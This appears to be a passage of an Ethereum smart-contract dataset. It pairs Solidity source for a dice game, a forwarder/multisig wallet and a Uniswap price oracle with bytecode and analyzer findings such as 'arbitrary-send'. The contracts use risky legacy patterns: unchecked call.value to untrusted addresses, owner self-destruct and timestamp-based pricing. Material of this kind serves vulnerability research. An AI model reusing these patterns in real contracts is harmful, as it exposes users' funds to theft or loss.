LogJpPayment(playerBetDiceRollHash[diceRollHash], playerTempAddress[diceRollHash],
playerRollResult[diceRollHash], jackpotTmp, 1);
/* if send failed let player withdraw via playerWithdrawPendingTransactions */
playerPendingWithdrawals[playerTempAddress[diceRollHash]] =
safeAdd(playerPendingWithdrawals[playerTempAddress[diceRollHash]], jackpotTmp);
}
}
/*
* pay winner
* update contract balance to calculate new max bet
* send reward
* if send of reward fails save value to playerPendingWithdrawals
*/
if (playerMinRollLimit[diceRollHash] < tempDiceSum && tempDiceSum < playerMaxRollLimit[diceRollHash]) {
/* safely reduce contract balance by player profit */
contractBalance = safeSub(contractBalance, playerTempReward[diceRollHash]);
/* update total wei won */
totalWeiWon = safeAdd(totalWeiWon, playerTempReward[diceRollHash]);
// adding JP percentage
playerTempReward[diceRollHash] = safeSub(playerTempReward[diceRollHash], playerToJackpot[diceRollHash]);
jackpot = safeAdd(jackpot, playerToJackpot[diceRollHash]);
/* safely calculate payout via profit plus original wager */
playerTempReward[diceRollHash] = safeAdd(playerTempReward[diceRollHash], playerTempBetValue[diceRollHash]);
LogResult(playerBetDiceRollHash[diceRollHash], playerTempAddress[diceRollHash],
playerMinRollLimit[diceRollHash], playerMaxRollLimit[diceRollHash], playerRollResult[diceRollHash],
playerTempReward[diceRollHash], salt, 1);
/*
* send win - external call to an untrusted contract
* if send fails map reward value to playerPendingWithdrawals[address]
* for withdrawal later via playerWithdrawPendingTransactions
*/
if (!playerTempAddress[diceRollHash].send(playerTempReward[diceRollHash])) {
LogResult(playerBetDiceRollHash[diceRollHash], playerTempAddress[diceRollHash],
playerMinRollLimit[diceRollHash], playerMaxRollLimit[diceRollHash], playerRollResult[diceRollHash],
playerTempReward[diceRollHash], salt, 2);
/* if send failed let player withdraw via playerWithdrawPendingTransactions */
playerPendingWithdrawals[playerTempAddress[diceRollHash]] =
safeAdd(playerPendingWithdrawals[playerTempAddress[diceRollHash]], playerTempReward[diceRollHash]);
}
return;
} else {
/*
* no win
* update contract balance to calculate new max bet
*/
LogResult(playerBetDiceRollHash[diceRollHash], playerTempAddress[diceRollHash],
playerMinRollLimit[diceRollHash], playerMaxRollLimit[diceRollHash], playerRollResult[diceRollHash],
playerTempBetValue[diceRollHash], salt, 0);
/*
* safe adjust contractBalance
*/
contractBalance = safeAdd(contractBalance, (playerTempBetValue[diceRollHash]));
return;
}
}
/*
* public function
* in case of a failed refund or win send
*/
function playerWithdrawPendingTransactions() public
payoutsAreActive
returns (bool)
{
uint withdrawAmount = playerPendingWithdrawals[msg.sender];
playerPendingWithdrawals[msg.sender] = 0;
/* external call to untrusted contract */
if (msg.sender.call.value(withdrawAmount)()) {
return true;
} else {
/* if send failed revert playerPendingWithdrawals[msg.sender] = 0; */
/* player can try to withdraw again later */
playerPendingWithdrawals[msg.sender] = withdrawAmount;
return false;
}
}
/* check for pending withdrawals */
function playerGetPendingTxByAddress(address addressToCheck) public constant returns (uint) {
return playerPendingWithdrawals[addressToCheck];
}
/*
* owner address only functions
*/
function()
payable
onlyOwner
{
/* safely update contract balance */
contractBalance = safeAdd(contractBalance, msg.value);
}
/* only owner adjust contract balance variable (only used for max profit calc) */
function ownerUpdateContractBalance(uint newContractBalanceInWei) public
onlyOwner
{
contractBalance = newContractBalanceInWei;
}
/* only owner address can set houseEdge */
function ownerSetHouseEdge(uint newHouseEdge) public
onlyOwner
{
houseEdge = newHouseEdge;
}
/* only owner address can set maxProfit*/
function ownerSetMaxProfit(uint newMaxProfit) public
onlyOwner
{
maxProfit = newMaxProfit;
}
/* only owner address can set minBet */
function ownerSetMinBet(uint newMinimumBet) public
onlyOwner
{
minBet = newMinimumBet;
}
/* only owner address can set jpMinBet */
function ownerSetJpMinBet(uint newJpMinBet) public
onlyOwner
{
jpMinBet = newJpMinBet;
}
/* only owner address can transfer ether */
function ownerTransferEther(address sendTo, uint amount) public
onlyOwner
{
/* safely update contract balance when sending out funds*/
contractBalance = safeSub(contractBalance, amount);
if (!sendTo.send(amount)) throw;
LogOwnerTransfer(sendTo, amount);
}
/* only owner address can do manual refund
* used only if bet placed + server error had a place
* filter LogBet by address and/or diceRollHash
* check the following logs do not exist for diceRollHash and/or playerAddress[diceRollHash] before refunding:
* LogResult or LogRefund
* if LogResult exists player should use the withdraw pattern playerWithdrawPendingTransactions
*/
function ownerRefundPlayer(bytes32 diceRollHash, address sendTo, uint originalPlayerProfit, uint originalPlayerBetValue) public
onlyOwner
{
/* safely reduce pendingPayouts by playerProfit[rngId] */
maxPendingPayouts = safeSub(maxPendingPayouts, originalPlayerProfit);
/* send refund */
if (!sendTo.send(originalPlayerBetValue)) throw;
/* log refunds */
LogRefund(diceRollHash, sendTo, originalPlayerBetValue);
}
/* only owner address can set emergency pause #1 */
function ownerPauseGame(bool newStatus) public
onlyOwner
{
gamePaused = newStatus;
}
/* only owner address can set emergency pause #2 */
function ownerPausePayouts(bool newPayoutStatus) public
onlyOwner
{
payoutsPaused = newPayoutStatus;
}
/* only owner address can set casino address */
function ownerSetCasino(address newCasino) public
onlyOwner
{
casino = newCasino;
}
/* only owner address can set owner address */
function ownerChangeOwner(address newOwner) public
onlyOwner
{
owner = newOwner;
}
/* only owner address can suicide - emergency */
function ownerkill() public
onlyOwner
{
suicide(owner);
}
}
|
0x
|
{"success": true, "error": null, "results": {}}
| 4,385 |
0x0feb3ce318e239a230383fd3484fa1018e1efaa0
|
pragma solidity ^0.4.14;
/**
* Contract that exposes the needed erc20 token functions
*/
contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value) returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) constant returns (uint256 balance);
}
/**
* Contract that will forward any incoming Ether to its creator
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint value, bytes data);
event TokensFlushed(
address tokenContractAddress, // The contract address of the token
uint value // Amount of token sent
);
/**
* Create the contract, and set the destination address to that of the creator
*/
function Forwarder() {
parentAddress = msg.sender;
}
/**
* Modifier that will execute internal code block only if the sender is a parent of the forwarder contract
*/
modifier onlyParent {
if (msg.sender != parentAddress) {
throw;
}
_;
}
/**
* Default function; Gets called when Ether is deposited, and forwards it to the destination address
*/
function() payable {
if (!parentAddress.call.value(msg.value)(msg.data))
throw;
// Fire off the deposited event if we can forward it
ForwarderDeposited(msg.sender, msg.value, msg.data);
}
/**
* Execute a token transfer of the full balance from the forwarder token to the main wallet contract
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
var forwarderAddress = address(this);
var forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
if (!instance.transfer(parentAddress, forwarderBalance)) {
throw;
}
TokensFlushed(tokenContractAddress, forwarderBalance);
}
/**
* It is possible that funds were sent to this address before the contract was deployed.
* We can flush those funds to the destination address.
*/
function flush() {
if (!parentAddress.call.value(this.balance)())
throw;
}
}
/**
* Basic multi-signer wallet designed for use in a co-signing environment where 2 signatures are required to move funds.
* Typically used in a 2-of-3 signing configuration. Uses ecrecover to allow for 2 signatures in a single transaction.
*/
contract WalletSimple {
// Events
event Deposited(address from, uint value, bytes data);
event SafeModeActivated(address msgSender);
event Transacted(
address msgSender, // Address of the sender of the message initiating the transaction
address otherSigner, // Address of the signer (second signature) used to initiate the transaction
bytes32 operation, // Operation hash (sha3 of toAddress, value, data, expireTime, sequenceId)
address toAddress, // The address the transaction was sent to
uint value, // Amount of Wei sent to the address
bytes data // Data sent when invoking the transaction
);
event TokenTransacted(
address msgSender, // Address of the sender of the message initiating the transaction
address otherSigner, // Address of the signer (second signature) used to initiate the transaction
bytes32 operation, // Operation hash (sha3 of toAddress, value, tokenContractAddress, expireTime, sequenceId)
address toAddress, // The address the transaction was sent to
uint value, // Amount of token sent
address tokenContractAddress // The contract address of the token
);
// Public fields
address[] public signers; // The addresses that can co-sign transactions on the wallet
bool public safeMode = false; // When active, wallet may only send to signer addresses
// Internal fields
uint constant SEQUENCE_ID_WINDOW_SIZE = 10;
uint[10] recentSequenceIds;
/**
* Modifier that will execute internal code block only if the sender is an authorized signer on this wallet
*/
modifier onlysigner {
if (!isSigner(msg.sender)) {
throw;
}
_;
}
/**
* Set up a simple multi-sig wallet by specifying the signers allowed to be used on this wallet.
* 2 signers will be required to send a transaction from this wallet.
* Note: The sender is NOT automatically added to the list of signers.
* Signers CANNOT be changed once they are set
*
* @param allowedSigners An array of signers on the wallet
*/
function WalletSimple(address[] allowedSigners) {
if (allowedSigners.length != 3) {
// Invalid number of signers
throw;
}
signers = allowedSigners;
}
/**
* Gets called when a transaction is received without calling a method
*/
function() payable {
if (msg.value > 0) {
// Fire deposited event if we are receiving funds
Deposited(msg.sender, msg.value, msg.data);
}
}
/**
* Create a new contract (and also address) that forwards funds to this contract
* returns address of newly created forwarder address
*/
function createForwarder() onlysigner returns (address) {
return new Forwarder();
}
/**
* Execute a multi-signature transaction from this wallet using 2 signers: one from msg.sender and the other from ecrecover.
* The signature is a signed form (using eth.sign) of tightly packed toAddress, value, data, expireTime and sequenceId
* Sequence IDs are numbers starting from 1. They are used to prevent replay attacks and may not be repeated.
*
* @param toAddress the destination address to send an outgoing transaction
* @param value the amount in Wei to be sent
* @param data the data to send to the toAddress when invoking the transaction
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param sequenceId the unique sequence id obtainable from getNextSequenceId
* @param signature the result of eth.sign on the operationHash sha3(toAddress, value, data, expireTime, sequenceId)
*/
function sendMultiSig(address toAddress, uint value, bytes data, uint expireTime, uint sequenceId, bytes signature) onlysigner {
// Verify the other signer
var operationHash = sha3("ETHER", toAddress, value, data, expireTime, sequenceId);
var otherSigner = verifyMultiSig(toAddress, operationHash, signature, expireTime, sequenceId);
// Success, send the transaction
if (!(toAddress.call.value(value)(data))) {
// Failed executing transaction
throw;
}
Transacted(msg.sender, otherSigner, operationHash, toAddress, value, data);
}
/**
* Execute a multi-signature token transfer from this wallet using 2 signers: one from msg.sender and the other from ecrecover.
* The signature is a signed form (using eth.sign) of tightly packed toAddress, value, tokenContractAddress, expireTime and sequenceId
* Sequence IDs are numbers starting from 1. They are used to prevent replay attacks and may not be repeated.
*
* @param toAddress the destination address to send an outgoing transaction
* @param value the amount in tokens to be sent
* @param tokenContractAddress the address of the erc20 token contract
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param sequenceId the unique sequence id obtainable from getNextSequenceId
* @param signature the result of eth.sign on the operationHash sha3(toAddress, value, tokenContractAddress, expireTime, sequenceId)
*/
function sendMultiSigToken(address toAddress, uint value, address tokenContractAddress, uint expireTime, uint sequenceId, bytes signature) onlysigner {
// Verify the other signer
var operationHash = sha3("ERC20", toAddress, value, tokenContractAddress, expireTime, sequenceId);
var otherSigner = verifyMultiSig(toAddress, operationHash, signature, expireTime, sequenceId);
ERC20Interface instance = ERC20Interface(tokenContractAddress);
if (!instance.transfer(toAddress, value)) {
throw;
}
TokenTransacted(msg.sender, otherSigner, operationHash, toAddress, value, tokenContractAddress);
}
/**
* Execute a token flush from one of the forwarder addresses. This transfer needs only a single signature and can be done by any signer
*
* @param forwarderAddress the address of the forwarder address to flush the tokens from
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushForwarderTokens(address forwarderAddress, address tokenContractAddress) onlysigner {
Forwarder forwarder = Forwarder(forwarderAddress);
forwarder.flushTokens(tokenContractAddress);
}
/**
* Do common multisig verification for both eth sends and erc20token transfers
*
* @param toAddress the destination address to send an outgoing transaction
* @param operationHash the sha3 of the toAddress, value, data/tokenContractAddress and expireTime
* @param signature the tightly packed signature of r, s, and v as an array of 65 bytes (returned by eth.sign)
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param sequenceId the unique sequence id obtainable from getNextSequenceId
* returns address of the address to send tokens or eth to
*/
function verifyMultiSig(address toAddress, bytes32 operationHash, bytes signature, uint expireTime, uint sequenceId) private returns (address) {
var otherSigner = recoverAddressFromSignature(operationHash, signature);
// Verify if we are in safe mode. In safe mode, the wallet can only send to signers
if (safeMode && !isSigner(toAddress)) {
// We are in safe mode and the toAddress is not a signer. Disallow!
throw;
}
// Verify that the transaction has not expired
if (expireTime < block.timestamp) {
// Transaction expired
throw;
}
// Try to insert the sequence ID. Will throw if the sequence id was invalid
tryInsertSequenceId(sequenceId);
if (!isSigner(otherSigner)) {
// Other signer not on this wallet or operation does not match arguments
throw;
}
if (otherSigner == msg.sender) {
// Cannot approve own transaction
throw;
}
return otherSigner;
}
/**
* Irrevocably puts contract into safe mode. When in this mode, transactions may only be sent to signing addresses.
*/
function activateSafeMode() onlysigner {
safeMode = true;
SafeModeActivated(msg.sender);
}
/**
* Determine if an address is a signer on this wallet
* @param signer address to check
* returns boolean indicating whether address is signer or not
*/
function isSigner(address signer) returns (bool) {
// Iterate through all signers on the wallet and
for (uint i = 0; i < signers.length; i++) {
if (signers[i] == signer) {
return true;
}
}
return false;
}
/**
* Gets the second signer's address using ecrecover
* @param operationHash the sha3 of the toAddress, value, data/tokenContractAddress and expireTime
* @param signature the tightly packed signature of r, s, and v as an array of 65 bytes (returned by eth.sign)
* returns address recovered from the signature
*/
function recoverAddressFromSignature(bytes32 operationHash, bytes signature) private returns (address) {
if (signature.length != 65) {
throw;
}
// We need to unpack the signature, which is given as an array of 65 bytes (from eth.sign)
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 32))
s := mload(add(signature, 64))
v := and(mload(add(signature, 65)), 255)
}
if (v < 27) {
v += 27; // Ethereum versions are 27 or 28 as opposed to 0 or 1 which is submitted by some signing libs
}
return ecrecover(operationHash, v, r, s);
}
/**
* Verify that the sequence id has not been used before and inserts it. Throws if the sequence ID was not accepted.
* We collect a window of up to 10 recent sequence ids, and allow any sequence id that is not in the window and
* greater than the minimum element in the window.
* @param sequenceId to insert into array of stored ids
*/
function tryInsertSequenceId(uint sequenceId) onlysigner private {
// Keep a pointer to the lowest value element in the window
uint lowestValueIndex = 0;
for (uint i = 0; i < SEQUENCE_ID_WINDOW_SIZE; i++) {
if (recentSequenceIds[i] == sequenceId) {
// This sequence ID has been used before. Disallow!
throw;
}
if (recentSequenceIds[i] < recentSequenceIds[lowestValueIndex]) {
lowestValueIndex = i;
}
}
if (sequenceId < recentSequenceIds[lowestValueIndex]) {
// The sequence ID being used is lower than the lowest value in the window
// so we cannot accept it as it may have been used before
throw;
}
if (sequenceId > (recentSequenceIds[lowestValueIndex] + 10000)) {
// Block sequence IDs which are much higher than the lowest value
// This prevents people blocking the contract by using very large sequence IDs quickly
throw;
}
recentSequenceIds[lowestValueIndex] = sequenceId;
}
/**
* Gets the next available sequence ID for signing when using executeAndConfirm
* returns the sequenceId one higher than the highest currently stored
*/
function getNextSequenceId() returns (uint) {
uint highestSequenceId = 0;
for (uint i = 0; i < SEQUENCE_ID_WINDOW_SIZE; i++) {
if (recentSequenceIds[i] > highestSequenceId) {
highestSequenceId = recentSequenceIds[i];
}
}
return highestSequenceId + 1;
}
}
|
0x6060604052361561003a5763ffffffff60e060020a600035041662821de381146100eb5780633ef133671461011a5780636b9f96ea1461013b575b5b60008054600160a060020a0316903490366040518083838082843782019150509250505060006040518083038185876187965a03f192505050151561007f57600080fd5b7f69b31548dea9b3b707b4dff357d326e3e9348b24e7a6080a218a6edeeec48f9b3334600036604051600160a060020a0385168152602081018490526060604082018181529082018390526080820184848082843782019150509550505050505060405180910390a15b005b34156100f657600080fd5b6100fe610150565b604051600160a060020a03909116815260200160405180910390f35b341561012557600080fd5b6100e9600160a060020a036004351661015f565b005b341561014657600080fd5b6100e96102dc565b005b600054600160a060020a031681565b600080548190819033600160a060020a0390811691161461017f57600080fd5b83925030915082600160a060020a03166370a082318360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156101dc57600080fd5b6102c65a03f115156101ed57600080fd5b5050506040518051915050801515610204576102d5565b60008054600160a060020a038086169263a9059cbb929091169084906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561026a57600080fd5b6102c65a03f1151561027b57600080fd5b50505060405180519050151561029057600080fd5b7f9401e4e79c19cbe2bd774cb70a94ba660e6718be1bac1298ab3b07f454a608218482604051600160a060020a03909216825260208201526040908101905180910390a15b5b50505050565b600054600160a060020a039081169030163160405160006040518083038185876187965a03f192505050151561031157600080fd5b5b5600a165627a7a72305820d0f8838ba17108a895d34ae8ef3bff4e0dc9d639c3c51921fee1d17eaa8037210029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,386 |
0xfe89d2851aaaf67ec772dec15b83216d04ab72e8
|
pragma solidity 0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Babylonian {
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library FixedPoint {
struct uq112x112 {
uint224 _x;
}
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
uint private constant Q112 = uint(1) << RESOLUTION;
uint private constant Q224 = Q112 << RESOLUTION;
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL');
return uq112x112(uint224(Q224 / self._x));
}
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
library Decimal {
using SafeMath for uint256;
uint256 constant BASE = 10**18;
struct D256 {
uint256 value;
}
function zero()
internal
pure
returns (D256 memory)
{
return D256({ value: 0 });
}
function one()
internal
pure
returns (D256 memory)
{
return D256({ value: BASE });
}
function from(
uint256 a
)
internal
pure
returns (D256 memory)
{
return D256({ value: a.mul(BASE) });
}
function ratio(
uint256 a,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(a, BASE, b) });
}
function add(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.add(b.mul(BASE)) });
}
function sub(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.mul(BASE)) });
}
function sub(
D256 memory self,
uint256 b,
string memory reason
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.mul(BASE), reason) });
}
function mul(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.mul(b) });
}
function div(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.div(b) });
}
function pow(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
if (b == 0) {
return from(1);
}
D256 memory temp = D256({ value: self.value });
for (uint256 i = 1; i < b; i++) {
temp = mul(temp, self);
}
return temp;
}
function add(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.add(b.value) });
}
function sub(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.value) });
}
function sub(
D256 memory self,
D256 memory b,
string memory reason
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.value, reason) });
}
function mul(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(self.value, b.value, BASE) });
}
function div(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(self.value, BASE, b.value) });
}
function equals(D256 memory self, D256 memory b) internal pure returns (bool) {
return self.value == b.value;
}
function greaterThan(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) == 2;
}
function lessThan(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) == 0;
}
function greaterThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) > 0;
}
function lessThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) < 2;
}
function isZero(D256 memory self) internal pure returns (bool) {
return self.value == 0;
}
function asUint256(D256 memory self) internal pure returns (uint256) {
return self.value.div(BASE);
}
function getPartial(
uint256 target,
uint256 numerator,
uint256 denominator
)
private
pure
returns (uint256)
{
return target.mul(numerator).div(denominator);
}
function compareTo(
D256 memory a,
D256 memory b
)
private
pure
returns (uint256)
{
if (a.value == b.value) {
return 1;
}
return a.value > b.value ? 2 : 0;
}
}
contract MedianOracle {
using Decimal for Decimal.D256;
using SafeMath for uint256;
using FixedPoint for *;
address internal _pair;
uint256 internal _index;
uint256 internal _cumulative;
uint32 internal _timestamp;
address internal policy;
address internal ethUSDOracle;
address internal owner;
uint256 public currentPrice;
modifier onlyPolicy() {
require(msg.sender == policy || msg.sender == owner);
_;
}
constructor() public {
_pair = address(0xeaceAC83CEcCA6BEeBc736EDd6360d1633175b01);
_index = 0;
policy = address(0x7f0C14F2F72ca782Eea2835B9f63d3833B6669Ab);
ethUSDOracle = address(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);
owner = msg.sender;
Decimal.D256 memory price = updatePrice();
currentPrice = price.value;
}
function getData() public onlyPolicy returns (uint256, bool) {
Decimal.D256 memory price = updatePrice();
currentPrice = price.value;
uint256 ethUSD = uint256(AggregatorInterface(ethUSDOracle).latestAnswer());
uint256 ethUSDDecimal = AggregatorInterface(ethUSDOracle).decimals();
currentPrice = currentPrice.mul(ethUSD).div(10**ethUSDDecimal);
return (currentPrice, true);
}
function updatePrice() private returns (Decimal.D256 memory) {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = currentCumulativePrices(_pair);
uint32 timeElapsed = blockTimestamp - _timestamp;
uint256 priceCumulative = _index == 0 ? price0Cumulative : price1Cumulative;
Decimal.D256 memory price = Decimal.ratio((priceCumulative - _cumulative) / timeElapsed, 2**112);
_timestamp = blockTimestamp;
_cumulative = priceCumulative;
return price.div(1e9);
}
function currentCumulativePrices(address pair) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = uint32(block.timestamp % 2 ** 32);
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
}
interface AggregatorInterface {
function latestAnswer() external view returns (int256);
function decimals() external view returns (uint8);
}
|
0x60806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633bc5de30146100515780639d1b464a14610087575b600080fd5b34801561005d57600080fd5b506100666100b2565b60405180838152602001821515151581526020019250505060405180910390f35b34801561009357600080fd5b5061009c61034f565b6040518082815260200191505060405180910390f35b600080600360049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061015e5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561016957600080fd5b610171610a9c565b610179610355565b905080600001516006819055506000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166350d25bcd6040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160206040518083038186803b15801561020c57600080fd5b505afa158015610220573d6000803e3d6000fd5b505050506040513d602081101561023657600080fd5b810190808051906020019092919050505090506000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160206040518083038186803b1580156102cf57600080fd5b505afa1580156102e3573d6000803e3d6000fd5b505050506040513d60208110156102f957600080fd5b810190808051906020019092919050505060ff16905061033981600a0a61032b8460065461044290919063ffffffff16565b61050f90919063ffffffff16565b6006819055506006546001945094505050509091565b60065481565b61035d610a9c565b600080600061038c6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610559565b9250925092506000600360009054906101000a900463ffffffff1682039050600080600154146103bc57836103be565b845b90506103c8610a9c565b6103f68363ffffffff1660025484038115156103e057fe5b046e010000000000000000000000000000610803565b905083600360006101000a81548163ffffffff021916908363ffffffff16021790555081600281905550610437633b9aca008261083590919063ffffffff16565b965050505050505090565b6000808314156104555760009050610509565b6000828402905082848281151561046857fe5b04141515610504576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f81526020017f770000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b809150505b92915050565b600061055183836040805190810160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061086b565b905092915050565b60008060006401000000004281151561056e57fe5b0690508373ffffffffffffffffffffffffffffffffffffffff16635909c0d56040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160206040518083038186803b1580156105d357600080fd5b505afa1580156105e7573d6000803e3d6000fd5b505050506040513d60208110156105fd57600080fd5b810190808051906020019092919050505092508373ffffffffffffffffffffffffffffffffffffffff16635a3d54936040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160206040518083038186803b15801561067257600080fd5b505afa158015610686573d6000803e3d6000fd5b505050506040513d602081101561069c57600080fd5b8101908080519060200190929190505050915060008060008673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160606040518083038186803b15801561071657600080fd5b505afa15801561072a573d6000803e3d6000fd5b505050506040513d606081101561074057600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050509250925092508363ffffffff168163ffffffff161415156107f957600081850390508063ffffffff166107988486610935565b600001517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1602870196508063ffffffff166107d08585610935565b600001517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff160286019550505b5050509193909250565b61080b610a9c565b60206040519081016040528061082a85670de0b6b3a764000086610a6c565b815250905092915050565b61083d610a9c565b60206040519081016040528061086084866000015161050f90919063ffffffff16565b815250905092915050565b600080831182901515610919576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156108de5780820151818401526020810190506108c3565b50505050905090810190601f16801561090b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581151561092757fe5b049050809150509392505050565b61093d610ab0565b6000826dffffffffffffffffffffffffffff161115156109c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4669786564506f696e743a204449565f42595f5a45524f00000000000000000081525060200191505060405180910390fd5b602060405190810160405280836dffffffffffffffffffffffffffff16607060ff16866dffffffffffffffffffffffffffff167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169060020a027bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16811515610a4257fe5b047bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16815250905092915050565b6000610a9382610a85858761044290919063ffffffff16565b61050f90919063ffffffff16565b90509392505050565b602060405190810160405280600081525090565b60206040519